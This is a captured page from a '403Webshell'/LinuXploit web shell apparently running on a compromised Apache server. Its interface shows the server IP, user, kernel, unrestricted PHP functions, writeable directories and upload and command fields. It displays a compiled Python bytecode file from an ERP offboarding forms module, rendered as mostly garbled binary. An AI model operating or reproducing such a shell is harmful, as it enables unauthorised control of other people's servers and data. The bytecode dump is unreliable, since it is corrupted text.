403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/offboarding/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/offboarding/__pycache__/forms.cpython-310.pyc
o

hͦh�%�@sdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZmZmZmZmZmZmZmZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z Gdd�de�Z!dS)zQ
offboarding/forms.py

This module is used to register forms for offboarding app
�N)�Any)�forms)�messages��render_to_string)�	ModelForm)�MultipleFileField)�horilla_middlewares)�notify)�EmployeeTask�Offboarding�OffboardingEmployee�OffboardingNote�OffboardingStage�OffboardingStageMultipleFile�OffboardingTask�ResignationLetterc@�*eZdZdZdZGdd�d�Zdd�ZdS)�OffboardingFormz*
    OffboardingForm model form class
    rc@�eZdZeZdZdgZdS)zOffboardingForm.Meta�__all__�	is_activeN)�__name__�
__module__�__qualname__r�model�fields�exclude�rr�!/var/www/erp/offboarding/forms.py�Meta%�
r cC�d|i}td|�}|S�zS
        Render the form fields as HTML table rows with Bootstrap styling.
        �formzcommon_form.htmlr��self�context�
table_htmlrrr�as_p*�
zOffboardingForm.as_pN�rrr�__doc__�verbose_namer r)rrrrr�
rc@r)�OffboardingStageFormz%
    OffboardingStage model form
    �Stagec@�eZdZeZdZddgZdS)zOffboardingStageForm.Metar�offboarding_idrN)rrrrrrrrrrrr :�r cCr"r#rr%rrrr)?r*zOffboardingStageForm.as_pNr+rrrrr/3r.r/cs:eZdZdZdZGdd�d�Zdd�Z�fdd�Z�ZS)	�OffboardingEmployeeFormz,
    OffboardingEmployeeForm model form
    zOffboarding c@s>eZdZeZdZgd�Zejddid�ejddid�d�Z	dS)zOffboardingEmployeeForm.Metar)�
notice_period�unitr�type�date��attrs)�notice_period_starts�notice_period_endsN)
rrrr
rrrr�	DateInput�widgetsrrrrr Os
�r cCr"r#rr%rrrr)Xr*zOffboardingEmployeeForm.as_pcs�t�j|i|��|jdjj}d|d<|jdjj�|�|jdjj}d|d<|jdjj�|�|jjrU|jjrE|jj�	d�|j
d<|jjrW|jj�	d�|j
d<dSdSdS)N�employee_idzinitialNoticePeriod($(this))�onchanger;znoticePeriodUpdate($(this))z%Y-%m-%dr<)�super�__init__r�widgetr:�update�instance�pkr;�strftime�initialr<)r&�args�kwargsr:��	__class__rrrB`s ���z OffboardingEmployeeForm.__init__)	rrrr,r-r r)rB�
__classcell__rrrKrr4Hs	r4cs4eZdZdZGdd�d�Zdd��fdd�
Z�ZS)�StageSelectFormzB
    This form is used to register drop down for the pipeline
    c@seZdZeZdgZdS)zStageSelectForm.Meta�stage_idN)rrrr
rrrrrrr xs�r N)�offboardingcsvt�j|i|��|jdjj}d|d<d|d<|jdjj�|�d|jd_tjj	|d�|jd_
d|jd_dS)NrOzoffboardingUpdateStage($(this))r@zw-100 oh-select-custom�class)r2�)rArBrrCr:rD�empty_labelr�objects�filter�queryset�label)r&rPrIrJr:rKrrrB~s�zStageSelectForm.__init__)rrrr,r rBrMrrrKrrNssrNcsReZdZdZdZGdd�d�Z�fdd�Zdd�Zdd
ede	f�fdd
�
Z
�ZS)�NoteFormz%
    Offboarding note model form
    zAdd Notec@r)z
NoteForm.MetarrN)rrrrrrrrrrrr �r!r cs2t�j|i|��tdd�|jd<d|jd_dS)N�Attachements)rW�
attachmentF)rArBrr�required)r&rIrJrKrrrB�szNoteForm.__init__cCr"r#rr%rrrr)�r*z
NoteForm.as_p.�commit�returncs~g}d}|j�d�r-|j�d�}|d|j_g}|D]}t�}||_|��|�|j�qt��|�}|r;|j	j
|�||fS)NrZr)�files�getlistrErZr�save�appendrFrA�attachments�add)r&r\�multiple_attachment_idsrbrZ�
file_instancerErKrrr`�sz
NoteForm.save�.)rrrr,r-r rBr)�boolrr`rMrrrKrrX�s rXcsfeZdZdZdZejej�	�dd�Z
Gdd�d�Z�fdd�Zd	d
�Z
dded
ef�fdd�
Z�ZS)�TaskFormz
    TaskForm model form
    zOffboarding TaskF)rVr[c@r1)z
TaskForm.Metar�statusrN)rrrrrrrrrrrr �r3r cslt�j|i|��d|jd_d|jd_|jjs4tjjt	jj|j
�d�d���j
d�}||jd_dSdS)NzAll Stages in OffboardingrO�managers)�id)�stage_id__offboarding_id�tasks_to)rArBrrSrErFr
rTrUrrH�get�firstr2rV)r&rIrJrVrKrrrB�s
���zTaskForm.__init__cCr"r#rr%rrrr)�r*z
TaskForm.as_p.r\r]cs>t��|�|r|jd}|D]
}tjj||jd�}qdSdS)Nrm)r?�task_id)rAr`�cleaned_datarrT�
get_or_createrE)r&r\�	employees�employee�
assigned_taskrKrrr`�s
��z
TaskForm.saverf)rrrr,r-r�ModelMultipleChoiceFieldr
rT�allrmr rBr)rgrr`rMrrrKrrh�s� rhcsneZdZdZejejddd�d�dd�ZdZGd	d
�d
�Z	dd�Z
�fd
d�Zddede
f�fdd�
Z�ZS)�ResignationLetterFormz
    Resignation Letter
    rRz
display:none;)zdata-summernote�styler9�Description)rCrWzResignation Letterc@r)zResignationLetterForm.MetarrN)rrrrrrrrrrrr �r!r cCr"r#rr%rrrr)�r*zResignationLetterForm.as_pcs�t�j|i|��tjddd�d�|jd_g}|jjr*|�d�|jj	�
�d|_tt
jdd�}|rE|j�d	�sE|dd
g}|jj|j_	tt|��}|D]}|j|=qMdS)Nr8zoh-input w-100)r7rQr9�planned_to_leave_onr?z Resignation Letter�request�#offboarding.add_offboardingemployeeri)rArBrr=rrCrErFrar?�
get_full_namer-�getattrr	�_thread_locals�user�has_perm�employee_get�list�set)r&rIrJrr|�fieldrKrrrB�s(�
��
�zResignationLetterForm.__init__.r\r]cs�ttjdd�}|j}|j�d�s|jdks|j�d�r"t��|�}nt	�
|d�|jdkrg|rg|j�d�sgt�t
��%tj|jj|jj��j|jj���d�����ddd	�	Wd�|S1sbwY|S)
Nr|r}�	requested�add_offboardingemployeez9You cannot edit a request that has been rejected/approvedz requested for resignation.�#�information)�	recipient�verb�verb_ar�verb_de�verb_es�verb_fr�redirect�icon)rr	r�rEr�r�rirAr`r�info�
contextlib�suppress�	Exceptionr
�sendr�r?�get_reporting_manager�employee_user_idr~)r&r\r|rErKrrr`s@
�

��
�
��
��zResignationLetterForm.saverf)rrrr,r�	CharField�Textarea�descriptionr-r r)rBrgrr`rMrrrKrrx�s� rx)"r,r��typingr�djangor�django.contribr�django.template.loaderr�
base.formsr�employee.formsr�horillar	�notifications.signalsr
�offboarding.modelsrrr
rrrrrrr/r4rNrXrhrxrrrr�<module>s$(++1

Youez - 2016 - github.com/yon3zu
LinuXploit